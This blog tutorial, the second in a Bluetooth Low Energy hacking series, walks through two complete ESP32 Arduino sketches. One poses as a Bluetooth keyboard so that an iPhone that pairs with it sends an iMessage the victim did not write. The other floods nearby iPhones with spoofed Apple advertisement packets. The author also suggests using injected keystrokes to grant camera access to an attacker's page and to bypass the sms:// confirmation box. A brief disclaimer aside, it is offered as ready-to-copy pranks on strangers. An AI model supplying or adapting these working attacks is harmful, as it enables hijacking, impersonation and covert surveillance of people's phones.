Welcome back! I have missed you all. This is the second article in the Bluetooth Low Energy (BLE) hacking series. The last time we met through A guide to Bluetooth Low Energy hacking: Part I, we covered the basics. It would be a shame not to put that knowledge to use again.

This time, you will learn how to send an iMessage text on someone else’s phone (You might be thinking, “Didn’t we cover that last time?” Wait for it….) and how to broadcast a constant stream of Bluetooth device notifications—for under $25.

This is for educational purposes only. Unless you have explicit permission, do not perform the actions demonstrated on anyone or anything.

 

The ESP32

Does everything need to be able to connect to the internet or other devices? The Internet of Things (IoT) is extremely generous with what it considers “smart.” Can you remember how inconvenient counting eggs used to be? Truly torturous. Thank goodness we have the Quirky Egg Minder Smart Egg Tray to monitor our egg inventory. Not to mention, we were absolute barbarians until intelligent toilets came along.

Anyway, what is smart is the embedded boards that these devices use. One such board is the Arduino Nano ESP32:

Some wizards took sand and rocks and imbued them with electricity, and now, you can use their invention to turn a traditional “dumb” toaster into a “smart” one with Wi-Fi and Bluetooth connectivity.

In this article, we will be using the ESP32 to establish BLE connections. Buying something? In this economy? I know. But don’t worry—you can get one for cheap. So, buy one now before you continue reading. By the time it arrives, you will have the code and knowledge to use it immediately.

You will also need a USB to USB-C cable, which you may already have. Go check between the couch cushions.

 

Installing and configuring the Arduino IDE

We will also be using the Arduino Integrated Development Environment (IDE) to code. In Arduino, programs are written in the C++ and are called sketches.

If you are already familiar with the Arduino IDE, feel free to skip ahead.

To install and configure the Arduino IDE:

  1. Select the download option for your operating system.
  2. Run the installation wizard and follow the prompts.
  3. Launch the Arduino IDE once installation is finished.
  4. Install the Adafruit Industries driver software when prompted.
  5. Click the BOARDS MANAGER tab in the left-hand-side menu and install the Arduino ESP32 Boards package by Arduino.

In the Select Board dropdown menu, select your board (ensure the correct port is selected as well: Tools – Port).

 

Using the Arduino IDE

We will only quickly cover what you need to know for this article, but to learn more about the Arduino IDE, read the official documentation.

Serial Monitor

Like other coding environments, the Arduino IDE comes with a terminal. This terminal is called the Serial Monitor and can be used to communicate with your board when it is connected to your computer via USB. You can use it by selecting Tools - Serial Monitor or by using the keyboard shortcut CTRL+SHIFT+M (on Windows):

Using the Serial object, with its print and println (adds a new line at the end) methods, we can print messages to the Serial Monitor:

Serial.print(“Hello World”)

The baud rate is the data transfer rate measured in bits per second.

Compiling

Once a sketch is written, you need to convert it from a human-readable format into machine code by compiling it. This is accomplished by clicking the Verify button in the upper left-hand corner of the IDE. It’s the circular one with the checkmark inside.

Be sure to wait for the “Building sketch” and “indexing X/Y” progress indicators in the bottom left-hand corner of the IDE to complete before continuing.

If successful, you should receive a similar message to the following in the Output console:

Sketch uses 286029 bytes (9%) of program storage space. Maximum is 3145728 bytes.

Global variables use 30552 bytes (9%) of dynamic memory, leaving 297128 bytes for local variables. Maximum is 327680 bytes.

Uploading

To upload the sketch to your board, you click the (surprise) Upload button. This button is directly to the right of the Verify button, the circular button with the right-pointing arrow inside.

If the upload is successful, the message in the Output console will resemble the following:

 

Download [=========================] 100% 928736 bytes
Download done.
DFU state(7) = dfuMANIFEST, status(0) = No error condition is present
DFU state(2) = dfuIDLE, status(0) = No error condition is present

Done!

 

Budget BadKB: Send a text in a victim’s last iMessage conversation

Not too long ago, we covered how you can emulate a BLE keyboard to interact with a connected iPhone using a Flipper Zero. However, it turns out you can do the same thing with an ESP32 and a little code (and a lot less money). This works on the latest version (iOS 18) at the time of writing.

The below sketch needs to be uploaded prior to connecting and pairing with your board. After that, check for the conditions below:

  1. If iMessage is running in the background (they have not closed the application by swiping up) and…
  2. They were in a previous conversation with someone (not viewing the conversation list interface), then…
  3. Your “BLE keyboard” will use keystrokes and shortcuts to send another text in that conversation.

Basically, the last person they were talking to can receive a message of your choice. Uh oh.

I’ll first include the sketch in its entirety for those of you who just want to copy and paste it, then we’ll walk through it.

#include <BleKeyboard.h>
BleKeyboard bleKeyboard("Ninjeeter", "Custom", 100);
bool keyPressed = false;
bool initialDelay = false;
void setup() {
Serial.begin(9600);
while (!Serial);
Serial.println("Starting BLE!");
bleKeyboard.begin();
}

void loop() {
if(bleKeyboard.isConnected()) {
if (!initialDelay) {
Serial.println("Connected! Waiting 5 seconds before sending keystrokes...");
delay(5000);
initialDelay = true;
}

if (!keyPressed) {
// GUI H: Home Screen
Serial.println(“Sending CMD + H…”);
bleKeyboard.press(KEY_LEFT_GUI);
delay(50);
bleKeyboard.press(‘h’);
delay(100);
bleKeyboard.releaseAll();
delay(1000);
// GUI SPACE: Open Spotlight Search
Serial.println(“Sending CMD + Space…”);
bleKeyboard.press(KEY_LEFT_GUI);
delay(50);
bleKeyboard.press(‘ ‘);
delay(100);
bleKeyboard.releaseAll();
delay(1000);
// STRING iMessage
Serial.println(“Typing iMessage…”);
bleKeyboard.print(“iMessage”);
delay(1000);
// TAB: Autocomplete.
Serial.println(“Sending TAB…”);
bleKeyboard.press(KEY_TAB);
delay(100);
bleKeyboard.releaseAll();
// ENTER
Serial.println(“Sending ENTER…”);
bleKeyboard.write(KEY_RETURN);
delay(1200);
// STRING: Text message.
Serial.println(“Typing message…”);
bleKeyboard.print(“Hi.”);
delay(1000);
// Final ENTER to send message.
Serial.println(“Sending final ENTER…”);
bleKeyboard.write(KEY_RETURN);
keyPressed = true;
}
} else {
keyPressed = false;
initialDelay = false;
}

delay(100);

Script walkthrough

To start, you will need the ESP32-BLE-Keyboard library. In the Arduino IDE, select Sketch - Include Library - Add .ZIP Library… and select the download. Import it with #include.

#include <BleKeyboard.h>

Next, let’s create an instance of the BleKeyboard object class named bleKeyboard. The constructor takes three parameters:

  1. The device name that will show up in Bluetooth settings.
  2. The name of the manufacturer.
  3. The initial battery level as a percentage.

Also create two global Boolean variables to serve as starting points: keyPressed and initialDelay.

BleKeyboard bleKeyboard("Ninjeeter", "Custom", 100); // Name, manufacturer, charge.
bool keyPressed = false;
bool initialDelay = false;

Now, we need to define an initialization function that will start the Serial Monitor communication. Wait for the connection to be established with while (!Serial);, print “Starting BLE!” to the Serial Monitor, and initialize the BLE keyboard functionality using the .begin() method.

void setup() {
Serial.begin(9600); // Start Serial communication with baud rate of 9600.
while (!Serial); // Wait until Serial is ready.
Serial.println("Starting BLE!");
bleKeyboard.begin();
}

Next, in a loop() function, we’ll define the sequence of keystrokes to send. To begin, we will check if a connection has been made using if(bleKeyboard.isConnected()). If a connection is detected, then the code execution will proceed. If not, consider changing the name of the device to something more tempting, like “Club Speakers” or “Drone Control,” so someone will connect.

The program will check if the initial delay hasn’t already been performed with if (!initialDelay). This allows the user time to select “Pair” when the “Bluetooth Pairing Request” prompt is displayed on their phone.

void loop() {
if(bleKeyboard.isConnected()) {
if (!initialDelay) {
Serial.println("Connected! Waiting 5 seconds before sending keystrokes...");
delay(5000); // Adjust to give the user more time.
initialDelay = true;
}

Note—You may want to adjust the time from 5,000 to 10,000 if you’re showing your mother your neat tricks since they use their phones like this:

Anyway, back to the code.

Now, we start defining the keystrokes to send to a phone. We start by executing the script using the keyPressed global variable we created earlier. Since it will evaluate to false on the first run, the code inside the block will run.

Start the series of keystrokes by returning to the home screen.

if (!keyPressed) {
// GUI H: Home Screen
Serial.println("Sending CMD + H...");
bleKeyboard.press(KEY_LEFT_GUI);
delay(50);
bleKeyboard.press('h');
delay(100);
bleKeyboard.releaseAll();
delay(1000);

Next, open the Spotlight search bar.

// GUI SPACE: Open Spotlight search.
Serial.println("Sending CMD + Space...");
bleKeyboard.press(KEY_LEFT_GUI);
delay(50);
bleKeyboard.press(' ');
delay(100);
bleKeyboard.releaseAll();
delay(1000);

In the search bar, type “iMessage.”

// STRING iMessage
Serial.println("Typing iMessage...");
bleKeyboard.print("iMessage");
delay(1000);

Send a TAB keystroke to use the autocomplete functionality and navigate to iMessage with ENTER.

// TAB: Autocomplete.
Serial.println("Sending TAB...");
bleKeyboard.press(KEY_TAB);
delay(100);
bleKeyboard.releaseAll();
// ENTER
Serial.println("Sending ENTER...");
bleKeyboard.write(KEY_RETURN);
delay(1200);

Here’s the fun part: You can now write the text message you want the poor soul who connected to your device to send (if it is long, ensure to adjust the delay to account for the time).

// STRING: Text message.
Serial.println("Typing message...");
bleKeyboard.print("Hi.");
delay(1000);
// Final ENTER to send message.
Serial.println("Sending final ENTER...");
bleKeyboard.write(KEY_RETURN);

To wrap everything up, set the keyPressed variable to true. This prevents the loop from running again while a connection is still live. The else block acts as a backup to handle cases when the connection is lost. It resets the keyPressed and initialDelay variables so they will run on the next connection. The small delay at the very end adds a small pause in the main loop to provide stability.

keyPressed = true;
}
} else {
keyPressed = false;
initialDelay = false;
}
delay(100);
}

Open the Serial Monitor and then connect and pair to the ESP32 with your iPhone. If you had a previous iMessage conversation and the application is running in the background, you will send the text in the context of that conversation.

PRO TIP:
If you’re typing out a string and the keypress gets stuck on a letter (displaying the alternative variations), then loop through the string like this:

// STRING: URL.
Serial.println("Typing URL...");
const char* url = "your-website.com/index.php";
for (int i = 0; url[i] != '\0'; i++) {
bleKeyboard.write(url[i]);
delay(50); // Small delay between each character
}
delay(1000);

PRO TIP:

This can be combined with hosting a page on your own server. Perhaps the page can use the getUserMedia() method to prompt for camera access and then using another ENTER keystroke at just the right time will automatically grant permission. Or, ya know, something like that.

 

Spam BLE advertisements

There was an iOS vulnerability discovered by security researchers ECTO-1A and Willy-JL that would cause an iPhone to crash if you sent a barrage of advertisement packets that mimic Apple’s proprietary BLE format. Although it was patched in the 17.2 update and will no longer render a phone useless, it can still be used to annoy people.

The best part is, since it’s simply caused by advertisements, your target does not have to make a connection. Once you upload this sketch to your ESP32, with Bluetooth on, any nearby iPhone will start receiving notifications.

Again, here is the whole sketch and a subsequent walkthrough:

#include <NimBLEDevice.h>
NimBLEAdvertising *pAdvertising;
void setup() {
NimBLEDevice::init("");
esp_ble_tx_power_set(ESP_BLE_PWR_TYPE_DEFAULT, ESP_PWR_LVL_P9); // Default TX power.
esp_ble_tx_power_set(ESP_BLE_PWR_TYPE_ADV, ESP_PWR_LVL_P9); // Advertise TX power.
esp_ble_tx_power_set(ESP_BLE_PWR_TYPE_SCAN ,ESP_PWR_LVL_P9); // Scanning TX power.
NimBLEServer *pServer = NimBLEDevice::createServer();
pAdvertising = pServer->getAdvertising();
}
NimBLEAdvertisementData getOAdvertisementData() {
NimBLEAdvertisementData randomAdvertisementData = NimBLEAdvertisementData();
uint8_t packet[17];
uint8_t i = 0;
packet[i++] = 16;
packet[i++] = 0xFF;
packet[i++] = 0x4C;
packet[i++] = 0x00;
packet[i++] = 0x0F;
packet[i++] = 0x05;
packet[i++] = 0xC1;
const uint8_t types[] = { 0x27, 0x09, 0x02, 0x1e, 0x2b, 0x2d, 0x2f, 0x01, 0x06, 0x20, 0xc0 };
packet[i++] = types[rand() % sizeof(types)];
esp_fill_random(&packet[i], 3);
i += 3;
packet[i++] = 0x00;
packet[i++] = 0x00;
packet[i++] = 0x10;
esp_fill_random(&packet[i], 3);
randomAdvertisementData.addData(packet, 17);
return randomAdvertisementData;
}
void loop() {
delay(50);

NimBLEAdvertisementData advertisementData = getOAdvertisementData();

pAdvertising->setAdvertisementData(advertisementData);
pAdvertising->start();

delay(100);
pAdvertising->stop();
}

Script walkthrough

For this sketch, you will need the NimBLE-Arduino library by h2zero. You can add this by clicking the books icon in the left side menu of the Arduino IDE, searching for it by name, and clicking Install.

Import it with #include.

#include <NimBLEDevice.h>

Next, we create a global pointer variable for advertising, pAdvertising. This will eventually store a NimBLEAdvertising object that is provided by the server we will create later. This object provides the means to control BLE advertisement operations such as starting and stopping broadcasts and setting advertisement data.

NimBLEAdvertising *pAdvertising;

In the setup() function, we initialize the device without a name using NimBLEDevice::init("");. Various transmission power levels are set to their maximum decibel-to-milliwatt power to increase the attack range. We also create the BLE server and access its NimBLEAdvertising object by calling pServer->getAdvertising() and storing it in our previously declared pAdvertising variable.

void setup() {
NimBLEDevice::init(""); // Initialize the BLE device with an empty name.
// Set various BLE transmission power levels to maximum (9dBm).
esp_ble_tx_power_set(ESP_BLE_PWR_TYPE_DEFAULT, ESP_PWR_LVL_P9); // Default TX power.
esp_ble_tx_power_set(ESP_BLE_PWR_TYPE_ADV, ESP_PWR_LVL_P9); // Advertise TX power.
esp_ble_tx_power_set(ESP_BLE_PWR_TYPE_SCAN ,ESP_PWR_LVL_P9); // Scanning TX power.
NimBLEServer *pServer = NimBLEDevice::createServer(); // Create a BLE server instance.
pAdvertising = pServer->getAdvertising();
}

Then, we declare a function named getOAdvertisementData that returns a NimBLEAdvertisementData object. Inside this function, we create the randomAdvertisementData variable that stores a new NimBLEAdvertisementData object instance. We create a 17-byte array named packet to hold our advertisement data and an index counter to help us fill this array.

We increment through each array position and set the bytes in adherence with Apple’s specifications.The reverse engineering that deconstructed the format of Apple device advertisement packets was done by security researchers Guillaume Celosia and Mathieu Cunche. You can read about their findings in depth in their publication Discontinued Privacy: Personal Data Leaks in Apple Bluetooth-Low-Energy Continuity Protocols.

NimBLEAdvertisementData getOAdvertisementData() {
// Create a new advertisement data object.
NimBLEAdvertisementData randomAdvertisementData = NimBLEAdvertisementData();
uint8_t packet[17]; // Buffer to hold our custom advertisement packet.
uint8_t i = 0; // Index counter for filling the packet.
// Build the advertisement packet according to Apple's format.
packet[i++] = 16; // Total length of the remaining packet data.
packet[i++] = 0xFF; // Manufacturer Specific Data (0xFF as per BLE spec).
packet[i++] = 0x4C; // Apple's Company ID (0x004C) - Low byte.
packet[i++] = 0x00; // Apple's Company ID - High byte.
packet[i++] = 0x0F; // Apple's Specific Type for this kind of message.
packet[i++] = 0x05; // Length of the upcoming action data.
packet[i++] = 0xC1; // Action Flags indicating the type of notification.

Next, the function handles the dynamic parts of the packet. It randomly selects an action type from an array of valid Apple actions to make the advertisement appear more legitimate. Then, random bytes are added for authentication, as well as padding and identifier bytes to complete the packet structure.

// Array of possible action types that appear in real Apple devices.
const uint8_t types[] = { 0x27, 0x09, 0x02, 0x1e, 0x2b, 0x2d, 0x2f, 0x01, 0x06, 0x20, 0xc0 };
packet[i++] = types[rand() % sizeof(types)]; // Randomly select one action type.
esp_fill_random(&packet[i], 3); // Generate 3 random bytes for authentication tag.
i += 3; // Move index past the random bytes.
packet[i++] = 0x00; // Reserved/padding byte.
packet[i++] = 0x00; // Reserved/padding byte.
packet[i++] = 0x10; // Additional type identifier.
esp_fill_random(&packet[i], 3); // Generate 3 more random bytes for the end of packet.

Once the packet has been built, it is added to the NimBLEAdvertisementData object for use in broadcasting.

// Add the complete packet to the advertisement data.
randomAdvertisementData.addData(packet, 17);
return randomAdvertisementData;
}

Finally, with a loop() function, we continuously broadcast these advertisements every 10 ms for 5 ms each. This means that about 6 or 7 unique advertisements are broadcast per second. The packet changes every advertisement by calling the getOAdvertisementData function.

void loop() {
delay(10); // Wait 10ms between advertisements.

// Get new randomized advertisement data.
NimBLEAdvertisementData advertisementData = getOAdvertisementData();

// Set and broadcast the advertisement.
pAdvertising->setAdvertisementData(advertisementData);
pAdvertising->start();

delay(5); // Advertise for 5ms.
pAdvertising->stop(); // Stop advertising before next cycle.
}

 

Let’s see what you make!

With these starter sketches in hand, it is now your turn to create your own digital pranks. See what else you can open using Spotlight and TAB + ENTER.

Before the latest iOS update, we were able to send a text using an arbitrary number via the sms:// URL scheme. Now, it seems like the schemas are blocked by a confirmation box. However, maybe you’ll be able to find just the right keystroke combination to bypass the new protection. Here is a list of schemas for you to investigate.

You can also try using different libraries to emulate different devices and code additional functionalities into your board. If you end up making something cool, get in contact with me! Especially if the text you send starts an entertaining conversation.

Until next time,

Ninjeeter